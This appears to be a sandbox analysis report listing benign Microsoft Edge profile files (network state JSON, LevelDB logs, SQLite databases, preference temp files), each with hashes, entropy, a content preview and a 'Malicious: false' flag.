SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8e4d4d9c-f843-4099-9f5a-4ff63f6d3d21.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF3f7bf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3aff8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3b4ab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ff1b01c2-2dc1-4397-995c-b679d78cdaa4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.229419395820819
Encrypted:	false
SSDEEP:	6:2zlIq2P923oH+TcwtzjqEKj0QMxIFUt8LzZZmw+LzHkwO923oH+TcwtzjqEKj0Qq:2Kv4YebvqBZFUt8Lt/+Lb5LYebvqBaJ
MD5:	F9A3E248EA0BAE2DD42AB8F40BF53EFC
SHA1:	8EB6B6482BEB9C22FE41E250EA462F74824C107F
SHA-256:	B74319889FD1DBADA4B163DEF76AB5414BA2EB8DCE4ACC2375DFEF649452B594
SHA-512:	B9C74ABBD2C7BAE53892E556C84C29C124A3DA13555AC84CB8A311890E9F3A62FC05968BF991F22A9FF10A0A8A13DD698606BA7B580D61449DFB01699AA5174B
Malicious:	false
Preview:	2024/10/27-12:54:45.753 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/27-12:54:45.755 1cf4 Recovering log #3.2024/10/27-12:54:45.759 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.229419395820819
Encrypted:	false
SSDEEP:	6:2zlIq2P923oH+TcwtzjqEKj0QMxIFUt8LzZZmw+LzHkwO923oH+TcwtzjqEKj0Qq:2Kv4YebvqBZFUt8Lt/+Lb5LYebvqBaJ
MD5:	F9A3E248EA0BAE2DD42AB8F40BF53EFC
SHA1:	8EB6B6482BEB9C22FE41E250EA462F74824C107F
SHA-256:	B74319889FD1DBADA4B163DEF76AB5414BA2EB8DCE4ACC2375DFEF649452B594
SHA-512:	B9C74ABBD2C7BAE53892E556C84C29C124A3DA13555AC84CB8A311890E9F3A62FC05968BF991F22A9FF10A0A8A13DD698606BA7B580D61449DFB01699AA5174B
Malicious:	false
Preview:	2024/10/27-12:54:45.753 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/27-12:54:45.755 1cf4 Recovering log #3.2024/10/27-12:54:45.759 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.212605212121611
Encrypted:	false
SSDEEP:	6:2tl+q2P923oH+TcwtpIFUt8L8Zmw+LNVkwO923oH+Tcwta/WLJ:2twv4YebmFUt8L8/+Lz5LYebaUJ
MD5:	87BFF185187F6B231E8F1A5B2217D5B2
SHA1:	72211A347D54203534FD0E6CA8ED2CB256B2B40F
SHA-256:	E9CF9CCA85F0CD603E9A4DDE22460750022802E67AB2A7CAFCB1E04113E0FA83
SHA-512:	28B34699123840C65F8C28299EEC5FC0F3EB9A8324E073224881D7FF4510871D29B93032E85365D26AA8F39880E5B61F9290C07984CE462C008B63D65140939E
Malicious:	false
Preview:	2024/10/27-12:54:25.820 16f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/27-12:54:25.821 16f8 Recovering log #3.2024/10/27-12:54:25.822 16f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.212605212121611
Encrypted:	false
SSDEEP:	6:2tl+q2P923oH+TcwtpIFUt8L8Zmw+LNVkwO923oH+Tcwta/WLJ:2twv4YebmFUt8L8/+Lz5LYebaUJ
MD5:	87BFF185187F6B231E8F1A5B2217D5B2
SHA1:	72211A347D54203534FD0E6CA8ED2CB256B2B40F
SHA-256:	E9CF9CCA85F0CD603E9A4DDE22460750022802E67AB2A7CAFCB1E04113E0FA83
SHA-512:	28B34699123840C65F8C28299EEC5FC0F3EB9A8324E073224881D7FF4510871D29B93032E85365D26AA8F39880E5B61F9290C07984CE462C008B63D65140939E
Malicious:	false
Preview:	2024/10/27-12:54:25.820 16f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/27-12:54:25.821 16f8 Recovering log #3.2024/10/27-12:54:25.822 16f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2652337364609667
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM8SAELyKOMq+8yC8F/YfU5m+OlTLVumo:Bq+n0J89ELyKOMq+8y9/OwD
MD5:	21B95A03B42DCA94E624FAB47CBE7920
SHA1:	2A00EE8ECD37DD6EC34925664D305B64AEE97F7E
SHA-256:	E4DDD1AACF19B663680AB6B3BC11B00DFE183CA6D014ABD497966759D054F44D
SHA-512:	92DEDAF612C1323C2E609587AA5935AA26C5DC858474A00DA6B5A5547EBB78013855F2DEC438234951A0321F662A6EB7BB4418982BCFB25008E7F4E4716D0289
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46697101422351484
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0q3/:v7doKsKuKZKlZNmu46yjx0m
MD5:	3DC1E11281412A6E03D2D5D43C30BBBA
SHA1:	A2EE38E7B18D8DA3928442ABCAAA1C43489FBC81
SHA-256:	73326BEAD1E49FE767F67602E72C82C3B5CB7529DAFE2B2F332883402939BB71
SHA-512:	50E9641ACA395A3DF1379EA284CD6A245AAAA86A20E5E435128FE8502D2A8642F3567E170BA2ADACA76FBD9CABF144F2A6C7DC2B974B54CD1A0DFA7CAE01CE64
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a8509806-8789-4e2e-80a7-a4793d36a725.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c734cd1d-6261-4a4b-a77a-b8ff66b833d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17453), with no line terminators
Category:	dropped
Size (bytes):	17457
Entropy (8bit):	5.480432092378881
Encrypted:	false
SSDEEP:	384:stBPGQSu41s4DfhiYPdCi5mbGDQw56WWlaTYI:sjOXumDfObG8esaTYI
MD5:	4E7A2D06276AB49A66A68BF22CF196CE
SHA1:	674F51D57BFC27938399E413EF9B9283CF081D07
SHA-256:	9A83DA3001983B6D51F30D31C189FE6D4A66403CE58A23330A94D331A48A63F2
SHA-512:	D7CAB3203279EEAA850B09147F4C0FC1D663815625C1BB0A041061698772AB2ABB41D8AE676D53EC5E73652E1DCB4A7AAFF492738749D7F83FA3B9434E4228E9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374521666382694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cc7cd1c2-207a-4eb1-a7e7-521211ebc701.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d29c38c9-f73d-4fea-b408-d3646402cab1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d5998871-b0d5-48d0-876d-f42e72092218.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17288), with no line terminators
Category:	dropped
Size (bytes):	17292
Entropy (8bit):	5.4839030846635195
Encrypted:	false
SSDEEP:	384:stBPGQSu41s4DfhiYPdCi5mbGDQw56WVaTYI:sjOXumDfObG8e5aTYI
MD5:	2C836C4B7CED603EC02BD53C063AF55E
SHA1:	EB6EA09D41549F9DB48E044A1856571F3A694D42
SHA-256:	224355EB7C5957B139C87AD96A134BE9B4715E2A83127BA73D15F6CF62035123
SHA-512:	A0BEE5E8C38E1181035C61927B5F98AB825A751F7FEA312B071BC3536FF94DC0F44D260E078C3FEC8F30833C0D81B74821FA1A79F5AD39535B1A8910BE4D3B0F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374521666382694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e9e634eb-b1aa-416f-900f-f84284632f00.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17453), with no line terminators
Category:	dropped
Size (bytes):	17457
Entropy (8bit):	5.480346094443467
Encrypted:	false
SSDEEP:	384:stBPGQSu41s4DfhiYPdCi5mbGDQw56WflaTYI:sjOXumDfObG8epaTYI
MD5:	4399336FA373D8A5478405403CCD56E3
SHA1:	823DB9D60D6FCABDE2DE8F9E60C70C73DC7C9881
SHA-256:	0CEE3B46978763D259EDF2D9F37CE6B723C3A91A1F57FDA48D6C1DDCEB0D8274
SHA-512:	F9ABE94C0C797A10AD222357F696D7604A05FB906A5AA6C6E95DD3C61F44DDED6424F25A8D079E68C37E79B6C2077D831609B2ED9127E1A7C8361D19D69159E9
Malicious:	false
